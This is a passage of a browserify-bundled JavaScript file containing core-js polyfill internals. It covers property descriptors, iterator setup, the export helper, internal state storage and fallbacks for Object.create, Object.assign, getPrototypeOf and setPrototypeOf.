};

},{"../internals/create-property-descriptor":15,"../internals/descriptors":18,"../internals/object-define-property":47}],15:[function(require,module,exports){
module.exports = function (bitmap, value) {
  return {
    enumerable: !(bitmap & 1),
    configurable: !(bitmap & 2),
    writable: !(bitmap & 4),
    value: value
  };
};

},{}],16:[function(require,module,exports){
'use strict';
var toPrimitive = require('../internals/to-primitive');
var definePropertyModule = require('../internals/object-define-property');
var createPropertyDescriptor = require('../internals/create-property-descriptor');

module.exports = function (object, key, value) {
  var propertyKey = toPrimitive(key);
  if (propertyKey in object) definePropertyModule.f(object, propertyKey, createPropertyDescriptor(0, value));
  else object[propertyKey] = value;
};

},{"../internals/create-property-descriptor":15,"../internals/object-define-property":47,"../internals/to-primitive":73}],17:[function(require,module,exports){
'use strict';
var $ = require('../internals/export');
var createIteratorConstructor = require('../internals/create-iterator-constructor');
var getPrototypeOf = require('../internals/object-get-prototype-of');
var setPrototypeOf = require('../internals/object-set-prototype-of');
var setToStringTag = require('../internals/set-to-string-tag');
var createNonEnumerableProperty = require('../internals/create-non-enumerable-property');
var redefine = require('../internals/redefine');
var wellKnownSymbol = require('../internals/well-known-symbol');
var IS_PURE = require('../internals/is-pure');
var Iterators = require('../internals/iterators');
var IteratorsCore = require('../internals/iterators-core');

var IteratorPrototype = IteratorsCore.IteratorPrototype;
var BUGGY_SAFARI_ITERATORS = IteratorsCore.BUGGY_SAFARI_ITERATORS;
var ITERATOR = wellKnownSymbol('iterator');
var KEYS = 'keys';
var VALUES = 'values';
var ENTRIES = 'entries';

var returnThis = function () { return this; };

module.exports = function (Iterable, NAME, IteratorConstructor, next, DEFAULT, IS_SET, FORCED) {
  createIteratorConstructor(IteratorConstructor, NAME, next);

  var getIterationMethod = function (KIND) {
    if (KIND === DEFAULT && defaultIterator) return defaultIterator;
    if (!BUGGY_SAFARI_ITERATORS && KIND in IterablePrototype) return IterablePrototype[KIND];
    switch (KIND) {
      case KEYS: return function keys() { return new IteratorConstructor(this, KIND); };
      case VALUES: return function values() { return new IteratorConstructor(this, KIND); };
      case ENTRIES: return function entries() { return new IteratorConstructor(this, KIND); };
    } return function () { return new IteratorConstructor(this); };
  };

  var TO_STRING_TAG = NAME + ' Iterator';
  var INCORRECT_VALUES_NAME = false;
  var IterablePrototype = Iterable.prototype;
  var nativeIterator = IterablePrototype[ITERATOR]
    || IterablePrototype['@@iterator']
    || DEFAULT && IterablePrototype[DEFAULT];
  var defaultIterator = !BUGGY_SAFARI_ITERATORS && nativeIterator || getIterationMethod(DEFAULT);
  var anyNativeIterator = NAME == 'Array' ? IterablePrototype.entries || nativeIterator : nativeIterator;
  var CurrentIteratorPrototype, methods, KEY;

  // fix native
  if (anyNativeIterator) {
    CurrentIteratorPrototype = getPrototypeOf(anyNativeIterator.call(new Iterable()));
    if (IteratorPrototype !== Object.prototype && CurrentIteratorPrototype.next) {
      if (!IS_PURE && getPrototypeOf(CurrentIteratorPrototype) !== IteratorPrototype) {
        if (setPrototypeOf) {
          setPrototypeOf(CurrentIteratorPrototype, IteratorPrototype);
        } else if (typeof CurrentIteratorPrototype[ITERATOR] != 'function') {
          createNonEnumerableProperty(CurrentIteratorPrototype, ITERATOR, returnThis);
        }
      }
      // Set @@toStringTag to native iterators
      setToStringTag(CurrentIteratorPrototype, TO_STRING_TAG, true, true);
      if (IS_PURE) Iterators[TO_STRING_TAG] = returnThis;
    }
  }

  // fix Array#{values, @@iterator}.name in V8 / FF
  if (DEFAULT == VALUES && nativeIterator && nativeIterator.name !== VALUES) {
    INCORRECT_VALUES_NAME = true;
    defaultIterator = function values() { return nativeIterator.call(this); };
  }

  // define iterator
  if ((!IS_PURE || FORCED) && IterablePrototype[ITERATOR] !== defaultIterator) {
    createNonEnumerableProperty(IterablePrototype, ITERATOR, defaultIterator);
  }
  Iterators[NAME] = defaultIterator;

  // export additional methods
  if (DEFAULT) {
    methods = {
      values: getIterationMethod(VALUES),
      keys: IS_SET ? defaultIterator : getIterationMethod(KEYS),
      entries: getIterationMethod(ENTRIES)
    };
    if (FORCED) for (KEY in methods) {
      if (BUGGY_SAFARI_ITERATORS || INCORRECT_VALUES_NAME || !(KEY in IterablePrototype)) {
        redefine(IterablePrototype, KEY, methods[KEY]);
      }
    } else $({ target: NAME, proto: true, forced: BUGGY_SAFARI_ITERATORS || INCORRECT_VALUES_NAME }, methods);
  }

  return methods;
};

},{"../internals/create-iterator-constructor":13,"../internals/create-non-enumerable-property":14,"../internals/export":21,"../internals/is-pure":38,"../internals/iterators":40,"../internals/iterators-core":39,"../internals/object-get-prototype-of":51,"../internals/object-set-prototype-of":55,"../internals/redefine":59,"../internals/set-to-string-tag":62,"../internals/well-known-symbol":77}],18:[function(require,module,exports){
var fails = require('../internals/fails');

// Thank's IE8 for his funny defineProperty
module.exports = !fails(function () {
  return Object.defineProperty({}, 1, { get: function () { return 7; } })[1] != 7;
});

},{"../internals/fails":22}],19:[function(require,module,exports){
var global = require('../internals/global');
var isObject = require('../internals/is-object');

var document = global.document;
// typeof document.createElement is 'object' in old IE
var EXISTS = isObject(document) && isObject(document.createElement);

module.exports = function (it) {
  return EXISTS ? document.createElement(it) : {};
};

},{"../internals/global":27,"../internals/is-object":37}],20:[function(require,module,exports){
// IE8- don't enum bug keys
module.exports = [
  'constructor',
  'hasOwnProperty',
  'isPrototypeOf',
  'propertyIsEnumerable',
  'toLocaleString',
  'toString',
  'valueOf'
];

},{}],21:[function(require,module,exports){
var global = require('../internals/global');
var getOwnPropertyDescriptor = require('../internals/object-get-own-property-descriptor').f;
var createNonEnumerableProperty = require('../internals/create-non-enumerable-property');
var redefine = require('../internals/redefine');
var setGlobal = require('../internals/set-global');
var copyConstructorProperties = require('../internals/copy-constructor-properties');
var isForced = require('../internals/is-forced');

/*
  options.target      - name of the target object
  options.global      - target is the global object
  options.stat        - export as static methods of target
  options.proto       - export as prototype methods of target
  options.real        - real prototype method for the `pure` version
  options.forced      - export even if the native feature is available
  options.bind        - bind methods to the target, required for the `pure` version
  options.wrap        - wrap constructors to preventing global pollution, required for the `pure` version
  options.unsafe      - use the simple assignment of property instead of delete + defineProperty
  options.sham        - add a flag to not completely full polyfills
  options.enumerable  - export as enumerable property
  options.noTargetGet - prevent calling a getter on target
*/
module.exports = function (options, source) {
  var TARGET = options.target;
  var GLOBAL = options.global;
  var STATIC = options.stat;
  var FORCED, target, key, targetProperty, sourceProperty, descriptor;
  if (GLOBAL) {
    target = global;
  } else if (STATIC) {
    target = global[TARGET] || setGlobal(TARGET, {});
  } else {
    target = (global[TARGET] || {}).prototype;
  }
  if (target) for (key in source) {
    sourceProperty = source[key];
    if (options.noTargetGet) {
      descriptor = getOwnPropertyDescriptor(target, key);
      targetProperty = descriptor && descriptor.value;
    } else targetProperty = target[key];
    FORCED = isForced(GLOBAL ? key : TARGET + (STATIC ? '.' : '#') + key, options.forced);
    // contained in target
    if (!FORCED && targetProperty !== undefined) {
      if (typeof sourceProperty === typeof targetProperty) continue;
      copyConstructorProperties(sourceProperty, targetProperty);
    }
    // add a flag to not completely full polyfills
    if (options.sham || (targetProperty && targetProperty.sham)) {
      createNonEnumerableProperty(sourceProperty, 'sham', true);
    }
    // extend global
    redefine(target, key, sourceProperty, options);
  }
};

},{"../internals/copy-constructor-properties":11,"../internals/create-non-enumerable-property":14,"../internals/global":27,"../internals/is-forced":36,"../internals/object-get-own-property-descriptor":48,"../internals/redefine":59,"../internals/set-global":61}],22:[function(require,module,exports){
module.exports = function (exec) {
  try {
    return !!exec();
  } catch (error) {
    return true;
  }
};

},{}],23:[function(require,module,exports){
var aFunction = require('../internals/a-function');

// optional / simple context binding
module.exports = function (fn, that, length) {
  aFunction(fn);
  if (that === undefined) return fn;
  switch (length) {
    case 0: return function () {
      return fn.call(that);
    };
    case 1: return function (a) {
      return fn.call(that, a);
    };
    case 2: return function (a, b) {
      return fn.call(that, a, b);
    };
    case 3: return function (a, b, c) {
      return fn.call(that, a, b, c);
    };
  }
  return function (/* ...args */) {
    return fn.apply(that, arguments);
  };
};

},{"../internals/a-function":1}],24:[function(require,module,exports){
var path = require('../internals/path');
var global = require('../internals/global');

var aFunction = function (variable) {
  return typeof variable == 'function' ? variable : undefined;
};

module.exports = function (namespace, method) {
  return arguments.length < 2 ? aFunction(path[namespace]) || aFunction(global[namespace])
    : path[namespace] && path[namespace][method] || global[namespace] && global[namespace][method];
};

},{"../internals/global":27,"../internals/path":57}],25:[function(require,module,exports){
var classof = require('../internals/classof');
var Iterators = require('../internals/iterators');
var wellKnownSymbol = require('../internals/well-known-symbol');

var ITERATOR = wellKnownSymbol('iterator');

module.exports = function (it) {
  if (it != undefined) return it[ITERATOR]
    || it['@@iterator']
    || Iterators[classof(it)];
};

},{"../internals/classof":10,"../internals/iterators":40,"../internals/well-known-symbol":77}],26:[function(require,module,exports){
var anObject = require('../internals/an-object');
var getIteratorMethod = require('../internals/get-iterator-method');

module.exports = function (it) {
  var iteratorMethod = getIteratorMethod(it);
  if (typeof iteratorMethod != 'function') {
    throw TypeError(String(it) + ' is not iterable');
  } return anObject(iteratorMethod.call(it));
};

},{"../internals/an-object":5,"../internals/get-iterator-method":25}],27:[function(require,module,exports){
(function (global){
var check = function (it) {
  return it && it.Math == Math && it;
};

// https://github.com/zloirock/core-js/issues/86#issuecomment-115759028
module.exports =
  // eslint-disable-next-line no-undef
  check(typeof globalThis == 'object' && globalThis) ||
  check(typeof window == 'object' && window) ||
  check(typeof self == 'object' && self) ||
  check(typeof global == 'object' && global) ||
  // eslint-disable-next-line no-new-func
  Function('return this')();

}).call(this,typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : {})
},{}],28:[function(require,module,exports){
var hasOwnProperty = {}.hasOwnProperty;

module.exports = function (it, key) {
  return hasOwnProperty.call(it, key);
};

},{}],29:[function(require,module,exports){
module.exports = {};

},{}],30:[function(require,module,exports){
var getBuiltIn = require('../internals/get-built-in');

module.exports = getBuiltIn('document', 'documentElement');

},{"../internals/get-built-in":24}],31:[function(require,module,exports){
var DESCRIPTORS = require('../internals/descriptors');
var fails = require('../internals/fails');
var createElement = require('../internals/document-create-element');

// Thank's IE8 for his funny defineProperty
module.exports = !DESCRIPTORS && !fails(function () {
  return Object.defineProperty(createElement('div'), 'a', {
    get: function () { return 7; }
  }).a != 7;
});

},{"../internals/descriptors":18,"../internals/document-create-element":19,"../internals/fails":22}],32:[function(require,module,exports){
var fails = require('../internals/fails');
var classof = require('../internals/classof-raw');

var split = ''.split;

// fallback for non-array-like ES3 and non-enumerable old V8 strings
module.exports = fails(function () {
  // throws an error in rhino, see https://github.com/mozilla/rhino/issues/346
  // eslint-disable-next-line no-prototype-builtins
  return !Object('z').propertyIsEnumerable(0);
}) ? function (it) {
  return classof(it) == 'String' ? split.call(it, '') : Object(it);
} : Object;

},{"../internals/classof-raw":9,"../internals/fails":22}],33:[function(require,module,exports){
var store = require('../internals/shared-store');

var functionToString = Function.toString;

// this helper broken in `3.4.1-3.4.4`, so we can't use `shared` helper
if (typeof store.inspectSource != 'function') {
  store.inspectSource = function (it) {
    return functionToString.call(it);
  };
}

module.exports = store.inspectSource;

},{"../internals/shared-store":64}],34:[function(require,module,exports){
var NATIVE_WEAK_MAP = require('../internals/native-weak-map');
var global = require('../internals/global');
var isObject = require('../internals/is-object');
var createNonEnumerableProperty = require('../internals/create-non-enumerable-property');
var objectHas = require('../internals/has');
var sharedKey = require('../internals/shared-key');
var hiddenKeys = require('../internals/hidden-keys');

var WeakMap = global.WeakMap;
var set, get, has;

var enforce = function (it) {
  return has(it) ? get(it) : set(it, {});
};

var getterFor = function (TYPE) {
  return function (it) {
    var state;
    if (!isObject(it) || (state = get(it)).type !== TYPE) {
      throw TypeError('Incompatible receiver, ' + TYPE + ' required');
    } return state;
  };
};

if (NATIVE_WEAK_MAP) {
  var store = new WeakMap();
  var wmget = store.get;
  var wmhas = store.has;
  var wmset = store.set;
  set = function (it, metadata) {
    wmset.call(store, it, metadata);
    return metadata;
  };
  get = function (it) {
    return wmget.call(store, it) || {};
  };
  has = function (it) {
    return wmhas.call(store, it);
  };
} else {
  var STATE = sharedKey('state');
  hiddenKeys[STATE] = true;
  set = function (it, metadata) {
    createNonEnumerableProperty(it, STATE, metadata);
    return metadata;
  };
  get = function (it) {
    return objectHas(it, STATE) ? it[STATE] : {};
  };
  has = function (it) {
    return objectHas(it, STATE);
  };
}

module.exports = {
  set: set,
  get: get,
  has: has,
  enforce: enforce,
  getterFor: getterFor
};

},{"../internals/create-non-enumerable-property":14,"../internals/global":27,"../internals/has":28,"../internals/hidden-keys":29,"../internals/is-object":37,"../internals/native-weak-map":43,"../internals/shared-key":63}],35:[function(require,module,exports){
var wellKnownSymbol = require('../internals/well-known-symbol');
var Iterators = require('../internals/iterators');

var ITERATOR = wellKnownSymbol('iterator');
var ArrayPrototype = Array.prototype;

// check on default Array iterator
module.exports = function (it) {
  return it !== undefined && (Iterators.Array === it || ArrayPrototype[ITERATOR] === it);
};

},{"../internals/iterators":40,"../internals/well-known-symbol":77}],36:[function(require,module,exports){
var fails = require('../internals/fails');

var replacement = /#|\.prototype\./;

var isForced = function (feature, detection) {
  var value = data[normalize(feature)];
  return value == POLYFILL ? true
    : value == NATIVE ? false
    : typeof detection == 'function' ? fails(detection)
    : !!detection;
};

var normalize = isForced.normalize = function (string) {
  return String(string).replace(replacement, '.').toLowerCase();
};

var data = isForced.data = {};
var NATIVE = isForced.NATIVE = 'N';
var POLYFILL = isForced.POLYFILL = 'P';

module.exports = isForced;

},{"../internals/fails":22}],37:[function(require,module,exports){
module.exports = function (it) {
  return typeof it === 'object' ? it !== null : typeof it === 'function';
};

},{}],38:[function(require,module,exports){
module.exports = false;

},{}],39:[function(require,module,exports){
'use strict';
var getPrototypeOf = require('../internals/object-get-prototype-of');
var createNonEnumerableProperty = require('../internals/create-non-enumerable-property');
var has = require('../internals/has');
var wellKnownSymbol = require('../internals/well-known-symbol');
var IS_PURE = require('../internals/is-pure');

var ITERATOR = wellKnownSymbol('iterator');
var BUGGY_SAFARI_ITERATORS = false;

var returnThis = function () { return this; };

// `%IteratorPrototype%` object
// https://tc39.github.io/ecma262/#sec-%iteratorprototype%-object
var IteratorPrototype, PrototypeOfArrayIteratorPrototype, arrayIterator;

if ([].keys) {
  arrayIterator = [].keys();
  // Safari 8 has buggy iterators w/o `next`
  if (!('next' in arrayIterator)) BUGGY_SAFARI_ITERATORS = true;
  else {
    PrototypeOfArrayIteratorPrototype = getPrototypeOf(getPrototypeOf(arrayIterator));
    if (PrototypeOfArrayIteratorPrototype !== Object.prototype) IteratorPrototype = PrototypeOfArrayIteratorPrototype;
  }
}

if (IteratorPrototype == undefined) IteratorPrototype = {};

// 25.1.2.1.1 %IteratorPrototype%[@@iterator]()
if (!IS_PURE && !has(IteratorPrototype, ITERATOR)) {
  createNonEnumerableProperty(IteratorPrototype, ITERATOR, returnThis);
}

module.exports = {
  IteratorPrototype: IteratorPrototype,
  BUGGY_SAFARI_ITERATORS: BUGGY_SAFARI_ITERATORS
};

},{"../internals/create-non-enumerable-property":14,"../internals/has":28,"../internals/is-pure":38,"../internals/object-get-prototype-of":51,"../internals/well-known-symbol":77}],40:[function(require,module,exports){
arguments[4][29][0].apply(exports,arguments)
},{"dup":29}],41:[function(require,module,exports){
var fails = require('../internals/fails');

module.exports = !!Object.getOwnPropertySymbols && !fails(function () {
  // Chrome 38 Symbol has incorrect toString conversion
  // eslint-disable-next-line no-undef
  return !String(Symbol());
});

},{"../internals/fails":22}],42:[function(require,module,exports){
var fails = require('../internals/fails');
var wellKnownSymbol = require('../internals/well-known-symbol');
var IS_PURE = require('../internals/is-pure');

var ITERATOR = wellKnownSymbol('iterator');

module.exports = !fails(function () {
  var url = new URL('b?a=1&b=2&c=3', 'http://a');
  var searchParams = url.searchParams;
  var result = '';
  url.pathname = 'c%20d';
  searchParams.forEach(function (value, key) {
    searchParams['delete']('b');
    result += key + value;
  });
  return (IS_PURE && !url.toJSON)
    || !searchParams.sort
    || url.href !== 'http://a/c%20d?a=1&c=3'
    || searchParams.get('c') !== '3'
    || String(new URLSearchParams('?a=1')) !== 'a=1'
    || !searchParams[ITERATOR]
    // throws in Edge
    || new URL('https://a@b').username !== 'a'
    || new URLSearchParams(new URLSearchParams('a=b')).get('a') !== 'b'
    // not punycoded in Edge
    || new URL('http://тест').host !== 'xn--e1aybc'
    // not escaped in Chrome 62-
    || new URL('http://a#б').hash !== '#%D0%B1'
    // fails in Chrome 66-
    || result !== 'a1c3'
    // throws in Safari
    || new URL('http://x', undefined).host !== 'x';
});

},{"../internals/fails":22,"../internals/is-pure":38,"../internals/well-known-symbol":77}],43:[function(require,module,exports){
var global = require('../internals/global');
var inspectSource = require('../internals/inspect-source');

var WeakMap = global.WeakMap;

module.exports = typeof WeakMap === 'function' && /native code/.test(inspectSource(WeakMap));

},{"../internals/global":27,"../internals/inspect-source":33}],44:[function(require,module,exports){
'use strict';
var DESCRIPTORS = require('../internals/descriptors');
var fails = require('../internals/fails');
var objectKeys = require('../internals/object-keys');
var getOwnPropertySymbolsModule = require('../internals/object-get-own-property-symbols');
var propertyIsEnumerableModule = require('../internals/object-property-is-enumerable');
var toObject = require('../internals/to-object');
var IndexedObject = require('../internals/indexed-object');

var nativeAssign = Object.assign;
var defineProperty = Object.defineProperty;

// `Object.assign` method
// https://tc39.github.io/ecma262/#sec-object.assign
module.exports = !nativeAssign || fails(function () {
  // should have correct order of operations (Edge bug)
  if (DESCRIPTORS && nativeAssign({ b: 1 }, nativeAssign(defineProperty({}, 'a', {
    enumerable: true,
    get: function () {
      defineProperty(this, 'b', {
        value: 3,
        enumerable: false
      });
    }
  }), { b: 2 })).b !== 1) return true;
  // should work with symbols and should have deterministic property order (V8 bug)
  var A = {};
  var B = {};
  // eslint-disable-next-line no-undef
  var symbol = Symbol();
  var alphabet = 'abcdefghijklmnopqrst';
  A[symbol] = 7;
  alphabet.split('').forEach(function (chr) { B[chr] = chr; });
  return nativeAssign({}, A)[symbol] != 7 || objectKeys(nativeAssign({}, B)).join('') != alphabet;
}) ? function assign(target, source) { // eslint-disable-line no-unused-vars
  var T = toObject(target);
  var argumentsLength = arguments.length;
  var index = 1;
  var getOwnPropertySymbols = getOwnPropertySymbolsModule.f;
  var propertyIsEnumerable = propertyIsEnumerableModule.f;
  while (argumentsLength > index) {
    var S = IndexedObject(arguments[index++]);
    var keys = getOwnPropertySymbols ? objectKeys(S).concat(getOwnPropertySymbols(S)) : objectKeys(S);
    var length = keys.length;
    var j = 0;
    var key;
    while (length > j) {
      key = keys[j++];
      if (!DESCRIPTORS || propertyIsEnumerable.call(S, key)) T[key] = S[key];
    }
  } return T;
} : nativeAssign;

},{"../internals/descriptors":18,"../internals/fails":22,"../internals/indexed-object":32,"../internals/object-get-own-property-symbols":50,"../internals/object-keys":53,"../internals/object-property-is-enumerable":54,"../internals/to-object":72}],45:[function(require,module,exports){
var anObject = require('../internals/an-object');
var defineProperties = require('../internals/object-define-properties');
var enumBugKeys = require('../internals/enum-bug-keys');
var hiddenKeys = require('../internals/hidden-keys');
var html = require('../internals/html');
var documentCreateElement = require('../internals/document-create-element');
var sharedKey = require('../internals/shared-key');

var GT = '>';
var LT = '<';
var PROTOTYPE = 'prototype';
var SCRIPT = 'script';
var IE_PROTO = sharedKey('IE_PROTO');

var EmptyConstructor = function () { /* empty */ };

var scriptTag = function (content) {
  return LT + SCRIPT + GT + content + LT + '/' + SCRIPT + GT;
};

// Create object with fake `null` prototype: use ActiveX Object with cleared prototype
var NullProtoObjectViaActiveX = function (activeXDocument) {
  activeXDocument.write(scriptTag(''));
  activeXDocument.close();
  var temp = activeXDocument.parentWindow.Object;
  activeXDocument = null; // avoid memory leak
  return temp;
};

// Create object with fake `null` prototype: use iframe Object with cleared prototype
var NullProtoObjectViaIFrame = function () {
  // Thrash, waste and sodomy: IE GC bug
  var iframe = documentCreateElement('iframe');
  var JS = 'java' + SCRIPT + ':';
  var iframeDocument;
  iframe.style.display = 'none';
  html.appendChild(iframe);
  // https://github.com/zloirock/core-js/issues/475
  iframe.src = String(JS);
  iframeDocument = iframe.contentWindow.document;
  iframeDocument.open();
  iframeDocument.write(scriptTag('document.F=Object'));
  iframeDocument.close();
  return iframeDocument.F;
};

// Check for document.domain and active x support
// No need to use active x approach when document.domain is not set
// see https://github.com/es-shims/es5-shim/issues/150
// variation of https://github.com/kitcambridge/es5-shim/commit/4f738ac066346
// avoid IE GC bug
var activeXDocument;
var NullProtoObject = function () {
  try {
    /* global ActiveXObject */
    activeXDocument = document.domain && new ActiveXObject('htmlfile');
  } catch (error) { /* ignore */ }
  NullProtoObject = activeXDocument ? NullProtoObjectViaActiveX(activeXDocument) : NullProtoObjectViaIFrame();
  var length = enumBugKeys.length;
  while (length--) delete NullProtoObject[PROTOTYPE][enumBugKeys[length]];
  return NullProtoObject();
};

hiddenKeys[IE_PROTO] = true;

// `Object.create` method
// https://tc39.github.io/ecma262/#sec-object.create
module.exports = Object.create || function create(O, Properties) {
  var result;
  if (O !== null) {
    EmptyConstructor[PROTOTYPE] = anObject(O);
    result = new EmptyConstructor();
    EmptyConstructor[PROTOTYPE] = null;
    // add "__proto__" for Object.getPrototypeOf polyfill
    result[IE_PROTO] = O;
  } else result = NullProtoObject();
  return Properties === undefined ? result : defineProperties(result, Properties);
};

},{"../internals/an-object":5,"../internals/document-create-element":19,"../internals/enum-bug-keys":20,"../internals/hidden-keys":29,"../internals/html":30,"../internals/object-define-properties":46,"../internals/shared-key":63}],46:[function(require,module,exports){
var DESCRIPTORS = require('../internals/descriptors');
var definePropertyModule = require('../internals/object-define-property');
var anObject = require('../internals/an-object');
var objectKeys = require('../internals/object-keys');

// `Object.defineProperties` method
// https://tc39.github.io/ecma262/#sec-object.defineproperties
module.exports = DESCRIPTORS ? Object.defineProperties : function defineProperties(O, Properties) {
  anObject(O);
  var keys = objectKeys(Properties);
  var length = keys.length;
  var index = 0;
  var key;
  while (length > index) definePropertyModule.f(O, key = keys[index++], Properties[key]);
  return O;
};

},{"../internals/an-object":5,"../internals/descriptors":18,"../internals/object-define-property":47,"../internals/object-keys":53}],47:[function(require,module,exports){
var DESCRIPTORS = require('../internals/descriptors');
var IE8_DOM_DEFINE = require('../internals/ie8-dom-define');
var anObject = require('../internals/an-object');
var toPrimitive = require('../internals/to-primitive');

var nativeDefineProperty = Object.defineProperty;

// `Object.defineProperty` method
// https://tc39.github.io/ecma262/#sec-object.defineproperty
exports.f = DESCRIPTORS ? nativeDefineProperty : function defineProperty(O, P, Attributes) {
  anObject(O);
  P = toPrimitive(P, true);
  anObject(Attributes);
  if (IE8_DOM_DEFINE) try {
    return nativeDefineProperty(O, P, Attributes);
  } catch (error) { /* empty */ }
  if ('get' in Attributes || 'set' in Attributes) throw TypeError('Accessors not supported');
  if ('value' in Attributes) O[P] = Attributes.value;
  return O;
};

},{"../internals/an-object":5,"../internals/descriptors":18,"../internals/ie8-dom-define":31,"../internals/to-primitive":73}],48:[function(require,module,exports){
var DESCRIPTORS = require('../internals/descriptors');
var propertyIsEnumerableModule = require('../internals/object-property-is-enumerable');
var createPropertyDescriptor = require('../internals/create-property-descriptor');
var toIndexedObject = require('../internals/to-indexed-object');
var toPrimitive = require('../internals/to-primitive');
var has = require('../internals/has');
var IE8_DOM_DEFINE = require('../internals/ie8-dom-define');

var nativeGetOwnPropertyDescriptor = Object.getOwnPropertyDescriptor;

// `Object.getOwnPropertyDescriptor` method
// https://tc39.github.io/ecma262/#sec-object.getownpropertydescriptor
exports.f = DESCRIPTORS ? nativeGetOwnPropertyDescriptor : function getOwnPropertyDescriptor(O, P) {
  O = toIndexedObject(O);
  P = toPrimitive(P, true);
  if (IE8_DOM_DEFINE) try {
    return nativeGetOwnPropertyDescriptor(O, P);
  } catch (error) { /* empty */ }
  if (has(O, P)) return createPropertyDescriptor(!propertyIsEnumerableModule.f.call(O, P), O[P]);
};

},{"../internals/create-property-descriptor":15,"../internals/descriptors":18,"../internals/has":28,"../internals/ie8-dom-define":31,"../internals/object-property-is-enumerable":54,"../internals/to-indexed-object":69,"../internals/to-primitive":73}],49:[function(require,module,exports){
var internalObjectKeys = require('../internals/object-keys-internal');
var enumBugKeys = require('../internals/enum-bug-keys');

var hiddenKeys = enumBugKeys.concat('length', 'prototype');

// `Object.getOwnPropertyNames` method
// https://tc39.github.io/ecma262/#sec-object.getownpropertynames
exports.f = Object.getOwnPropertyNames || function getOwnPropertyNames(O) {
  return internalObjectKeys(O, hiddenKeys);
};

},{"../internals/enum-bug-keys":20,"../internals/object-keys-internal":52}],50:[function(require,module,exports){
exports.f = Object.getOwnPropertySymbols;

},{}],51:[function(require,module,exports){
var has = require('../internals/has');
var toObject = require('../internals/to-object');
var sharedKey = require('../internals/shared-key');
var CORRECT_PROTOTYPE_GETTER = require('../internals/correct-prototype-getter');

var IE_PROTO = sharedKey('IE_PROTO');
var ObjectPrototype = Object.prototype;

// `Object.getPrototypeOf` method
// https://tc39.github.io/ecma262/#sec-object.getprototypeof
module.exports = CORRECT_PROTOTYPE_GETTER ? Object.getPrototypeOf : function (O) {
  O = toObject(O);
  if (has(O, IE_PROTO)) return O[IE_PROTO];
  if (typeof O.constructor == 'function' && O instanceof O.constructor) {
    return O.constructor.prototype;
  } return O instanceof Object ? ObjectPrototype : null;
};

},{"../internals/correct-prototype-getter":12,"../internals/has":28,"../internals/shared-key":63,"../internals/to-object":72}],52:[function(require,module,exports){
var has = require('../internals/has');
var toIndexedObject = require('../internals/to-indexed-object');
var indexOf = require('../internals/array-includes').indexOf;
var hiddenKeys = require('../internals/hidden-keys');

module.exports = function (object, names) {
  var O = toIndexedObject(object);
  var i = 0;
  var result = [];
  var key;
  for (key in O) !has(hiddenKeys, key) && has(O, key) && result.push(key);
  // Don't enum bug & hidden keys
  while (names.length > i) if (has(O, key = names[i++])) {
    ~indexOf(result, key) || result.push(key);
  }
  return result;
};

},{"../internals/array-includes":7,"../internals/has":28,"../internals/hidden-keys":29,"../internals/to-indexed-object":69}],53:[function(require,module,exports){
var internalObjectKeys = require('../internals/object-keys-internal');
var enumBugKeys = require('../internals/enum-bug-keys');

// `Object.keys` method
// https://tc39.github.io/ecma262/#sec-object.keys
module.exports = Object.keys || function keys(O) {
  return internalObjectKeys(O, enumBugKeys);
};

},{"../internals/enum-bug-keys":20,"../internals/object-keys-internal":52}],54:[function(require,module,exports){
'use strict';
var nativePropertyIsEnumerable = {}.propertyIsEnumerable;
var getOwnPropertyDescriptor = Object.getOwnPropertyDescriptor;

// Nashorn ~ JDK8 bug
var NASHORN_BUG = getOwnPropertyDescriptor && !nativePropertyIsEnumerable.call({ 1: 2 }, 1);

// `Object.prototype.propertyIsEnumerable` method implementation
// https://tc39.github.io/ecma262/#sec-object.prototype.propertyisenumerable
exports.f = NASHORN_BUG ? function propertyIsEnumerable(V) {
  var descriptor = getOwnPropertyDescriptor(this, V);
  return !!descriptor && descriptor.enumerable;
} : nativePropertyIsEnumerable;

},{}],55:[function(require,module,exports){
var anObject = require('../internals/an-object');
var aPossiblePrototype = require('../internals/a-possible-prototype');

// `Object.setPrototypeOf` method
// https://tc39.github.io/ecma262/#sec-object.setprototypeof
// Works with __proto__ only. Old v8 can't work with null proto objects.
/* eslint-disable no-proto */
module.exports = Object.setPrototypeOf || ('__proto__' in {} ? function () {
  var CORRECT_SETTER = false;
  var test = {};
  var setter;
  try {
    setter = Object.getOwnPropertyDescriptor(Object.prototype, '__proto__').set;
    setter.call(test, []);
    CORRECT_SETTER = test instanceof Array;
  } catch (error) { /* empty */ }
  return function setPrototypeOf(O, proto) {
    anObject(O);
    aPossiblePrototype(proto);
    if (CORRECT_SETTER) setter.call(O, proto);
    else O.__proto__ = proto;
    return O;
  };
}() : undefined);

},{"../internals/a-possible-prototype":2,"../internals/an-object":5}],56:[function(require,module,exports){
var getBuiltIn = require('../internals/get-built-in');
var getOwnPropertyNamesModule = require('../internals/object-get-own-property-names');
var getOwnPropertySymbolsModule = require('../internals/object-get-own-property-symbols');
var anObject = require('../internals/an-object');

// all object keys, includes non-enumerable and symbols
module.exports = getBuiltIn('Reflect', 'ownKeys') || function ownKeys(it) {
  var keys = getOwnPropertyNamesModule.f(anObject(it));
  var getOwnPropertySymbols = getOwnPropertySymbolsModule.f;
  return getOwnPropertySymbols ? keys.concat(getOwnPropertySymbols(it)) : keys;
};

},{"../internals/an-object":5,"../internals/get-built-in":24,"../internals/object-get-own-property-names":49,"../internals/object-get-own-property-symbols":50}],57:[function(require,module,exports){
var global = require('../internals/global');

module.exports = global;

},{"../internals/global":27}],58:[function(require,module,exports){
var redefine = require('../internals/redefine');

module.exports = function (target, src, options) {
  for (var key in src) redefine(target, key, src[key], options);
  return target;
};

},{"../internals/redefine":59}],59:[function(require,module,exports){
var global = require('../internals/global');
var createNonEnumerableProperty = require('../internals/create-non-enumerable-property');
var has = require('../internals/has');
var setGlobal = require('../internals/set-global');
var inspectSource = require('../internals/inspect-source');
var InternalStateModule = require('../internals/internal-state');

var getInternalState = InternalStateModule.get;
var enforceInternalState = InternalStateModule.enforce;
var TEMPLATE = String(String).split('String');

(module.exports = function (O, key, value, options) {
  var unsafe = options ? !!options.unsafe : false;
  var simple = options ? !!options.enumerable : false;
  var noTargetGet = options ? !!options.noTargetGet : false;
  if (typeof value == 'function') {
    if (typeof key == 'string' && !has(value, 'name')) createNonEnumerableProperty(value, 'name', key);
    enforceInternalState(value).source = TEMPLATE.join(typeof key == 'string' ? key : '');
  }
  if (O === global) {
    if (simple) O[key] = value;
    else setGlobal(key, value);
    return;
  } else if (!unsafe) {
    delete O[key];
  } else if (!noTargetGet && O[key]) {
    simple = true;
  }
